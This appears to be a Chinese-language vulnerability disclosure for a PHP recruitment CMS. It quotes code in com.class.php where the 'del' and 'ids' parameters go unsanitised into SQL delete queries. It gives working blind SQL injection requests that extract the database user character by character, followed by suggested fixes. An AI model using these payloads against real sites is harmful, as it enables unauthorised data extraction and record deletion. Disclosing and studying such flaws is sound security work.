漏洞作者: zxx
漏洞一:
/member/model/com.class.php中
[php]
function job(){
。。。
570行 if($_GET['del'] || is_array($_POST['checkboxid']))
{
if(is_array($_POST['checkboxid'])){
$layer_type=1;
$delid=$this->pylode(",",$_POST['checkboxid']);
}else if($_GET['del']){
$layer_type=0;
$delid=$_GET['del'];//GET的del没有过滤,传给delid
}
$rows=$this->obj->DB_select_all("company_job","`uid`='".$this->uid."' and `id` in (".$delid.")","`state`");
$nid=$this->obj->DB_delete_all("company_job","`uid`='".$this->uid."' and `id` in (".$delid.")"," ");
echo $nid;
$this->obj->DB_delete_all("company_job_link","`uid`='".$this->uid."' and `jobid` in (".$delid.")"," ");//上面三行都将delid直接带入
。。。
}
function job_action(){
$this->job();//调用job函数
。。。
}
[/php]
漏洞二:
与漏洞一类似,/member/model/com.class.php中
[php]
function delshow_action(){
$company_show=$this->obj->DB_select_all("company_show","`id` in (".$_POST
['ids'].") and `uid`='".$this->uid."'","`picurl`");
if(is_array($company_show)&&$company_show){
foreach($company_show as $val){
$this->obj->unlink_pic(".".$val['picurl']);
}
$this->obj->DB_delete_all("company_show","`id` in (".$_POST['ids'].")
and `uid`='".$this->uid."'","");
}
return true;
}
[/php]
POST的ids直接放入sql语句中
漏洞证明:
证明一:
程序有点问题,因为只要mysql_query执行delete操作只要不出错就返回true,$nid一直返回1,所以回显一直一样,我们就靠招聘信息是否删除成功来判断。
当http://localhost/member/index.php?m=com&c=job&del=if(substring(user(),1,1)=char(115),3,798)) %23 //这里3为我们的招聘信息id
我们的user()是root,ascii码为114,这里为115,所以信息仍存在;
http://localhost/member/index.php?m=com&c=job&del=if(substring(user(),1,1)=char(114),3,798)) %23
证明二:
同样是没有回显,这里靠企业环境展示的删除与否判断:
先得到一个展示的id:
在删除的地方,审查元素:
,这里是3
http://localhost/member/index.php?c=delshow
POST:ids=if(substring(user(),1,1)=char(115),3,798) //3就是我们得到的id
这里还是因为155不是r的ascii码,所以删除失败,就不上图了。
http://localhost/member/index.php?c=delshow
POST:ids=if(substring(user(),1,1)=char(114),3,798)
因为360webscan的存在,好像有点鸡肋。
修复方案:
第一个GET用intval过滤
第二个POST用你们的pylode过滤
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论